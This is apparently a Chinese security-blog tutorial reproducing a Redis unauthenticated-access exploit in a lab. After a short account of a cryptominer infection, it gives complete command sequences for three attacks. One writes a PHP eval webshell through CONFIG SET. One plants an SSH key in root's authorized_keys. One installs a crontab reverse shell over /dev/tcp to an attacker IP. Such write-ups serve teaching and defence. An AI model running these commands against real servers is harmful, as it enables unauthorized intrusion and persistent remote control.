首页 >> 网络安全 >>渗透测试 >> Redis未授权访问漏洞复现
详细内容

Redis未授权访问漏洞复现

首先,第一个复现Redis未授权访问这个漏洞是有原因的,在 2019-07-24 的某一天,我同学的服务器突然特别卡,卡到连不上的那种,通过 top,free,netstat 等命令查看后发现,CPU占用200%,并且存在可疑进程,在很多目录下发现了可疑文件。经过排查后,确定为全盘感染的挖矿病毒,而可能的入口就是 Redis 的 6379 端口。


1.0漏洞危害

Redis 在默认安装情况下,绑定的端口为 6379 ,没有添加过防火墙信任规则,修改默认端口等防护策略,这相当于直接将 Redis服务暴露到公网上,如果没有设置密码认证(默认为空)的情况,会导致任意用户都可访问目标服务器--即未授权访问Redis以及读取Redis的数据。如果配攻击者未授权访问Redis的情况下,可利用Redis自身提供的config命令,进行文件的读写操作,攻击者可以直接将自己的ssh公钥写入目标服务器的/root/.shh文件夹的authotrized_keys文件中,进而直接使用对应私钥通过SSH登录目标服务器。


1.1简单来说

  1. 攻击者无需授权,直接读取内部数据,导致敏感信息泄露。

  2. 攻击者可以直接通过命令读写文件,植入后门。

  3. 如果Redis以root身份运行,攻击者可以将SSH公钥写入root账户下,直接通过SSH登录目标服务器


1.2影响版本

目前测试(自己)

Redis 2.x 4.x 5.x 都存在,可测试,以实际环境为主


2.0Redis的环境搭建

安装/环境配置

下载 Redis 安装包 / 并解压到指定目录

wget http://download.redis.io/releases/redis-2.8.17.tar.gz

1.png

tar -zxf redis-2.8.17.tar.gz -C [指定目录]

2.png

进入Redis目录 / 运行 make 安装

cd ../modules/redis-2.8.17/

make

3.png

4.png

安装成功

复制启动程序到 /usr/bin/ 目录下

进入 redis-2.8.17/src 复制 redis-cli、redis-server 到 /usr/bin/ 目录下方便redis启动

5.png

将redis.conf拷贝到/opt/目录下

6.png

7.png

开启防火墙打开6379端口

不然外网连接不到

防火墙开启6379端口

iptables -I INPUT -p tcp --dport 6379 -j ACCEPT

8.png

2.2 开启redis服务

指定配置文件开启服务

redis-server /opt/redis.conf

9.png

2.3本地测试连接

客户端登录

redis-cli

10.png

测试ping命令

11.png

查看密钥

12.png

接下来演示攻击者利用未授权访问漏洞


3.0未授权访问漏洞演示

这里我选择Kali作为攻击机

3.1在kali上安装/配置Redis

靶机 IP : 192.168.80.11

13.png

攻击机 IP : 192.168.80.134

14.png

3.2 使用Redis客户端直接访问无密码的redis

客户端登录 redis-cli -h 192.168.80.11

15.png


从登录结果可以看出redis服务被暴露在公网上,并且没有启用身份认证

接下来进一步渗透


利用redis的config写webshell

利用条件:

  • redis未授权,攻击者可以直接用客户端连接,且未验证登录

  • 开启了web服务器,并且得知路径(可以利用phpinfo或者错误爆路径等)

  • 需要有读写文件的权限,这些都是可以尝试的测试点


我这里用之前搭建好的Nginx+PHP web服务器来测试

尝试写入webshell到web服务器内(/usr/local/nginx/html 假设得知了web服务器的根目录)

利用config命令进行文件读写:

CONFIG SET dir /usr/local/nginx/html 设置文件目录

CONFIG SET dbfilename shell.php 设置文件名

SET webshell "<?php eval($_POST['r0cky']);?>" 写文件内容

save 保存到指定路径

16.png

查看写入的文件

17.png

接着尝试c刀连接或者蚁剑

url :http://192.168.80.11/shell.php

18.png

3.3利用“公私钥”认证获取root权限

靶机开启redis服务

redis-server /opt/redis.conf


在攻击机生成ssh公钥和私钥,密码设置为空

ssh-keygen -t rsa

19.png

将生成的公钥保存到文件中

进入到.ssh文件夹内 cd ~/.ssh/ 我这里是root用户目录

保存公钥到gssh.txt文件

(echo -e "\n\n";cat id_rsa.pub;echo -e "\n\n") > gssh.txt

21.png

连接redis服务写入文件

将保存的公钥写入到redis服务器上

cat gssh.txt | redis-cli -h 192.168.80.11 -x set crackit

22.png

远程登录靶机的redis服务

redis-cli -h 192.168.80.11

获取redis备份的路径

CONFIG GET dir

23.png

更改redis备份路径为ssh公钥存放目录(一般默认为/root/.ssh)

CONFIG SET dir /root/.ssh/

1.png

这个情况说明,目标服务器root没有ssh公私钥,需要手动创建一个

2.png

再来设置

3.png

设置上传公钥的备份文件名为authorized_keys

CONFIG SET dbfilename authorized_keys

查看是否更改成功 CONFIG GET dbfilename

4.png

保存&退出

save & exit

5.png

这样就成功的写入ssh公钥到目标服务器上了

攻击者使用ssh免密登录目标服务器

ssh -i id_rsa root@192.168.80.11

6.png

3.4 利用crontab反弹shell

在攻击机上开启端口监听

nc -lvnp 10086 端口未被占用

7.png

通过redis向目标服务器写入任务计划

任务计划:*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.80.134/10086 0>&1

连接redis,写入反弹shell

redis-cli -h 192.168.80.11 连接redis

写入任务计划每隔一分钟向自己的IP端口发送shell

SET cron "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.80.134/10086 0>&1\n\n"

CONFIG SET dir /var/spool/cron

CONFIG SET dbfilename root

save

8.png

间隔一分钟后收到反弹回来的shell

9.png

执行命令

10.png

至此Redis未授权访问的漏洞基本上就如上述演示

技术支持: 建站ABC | 管理登录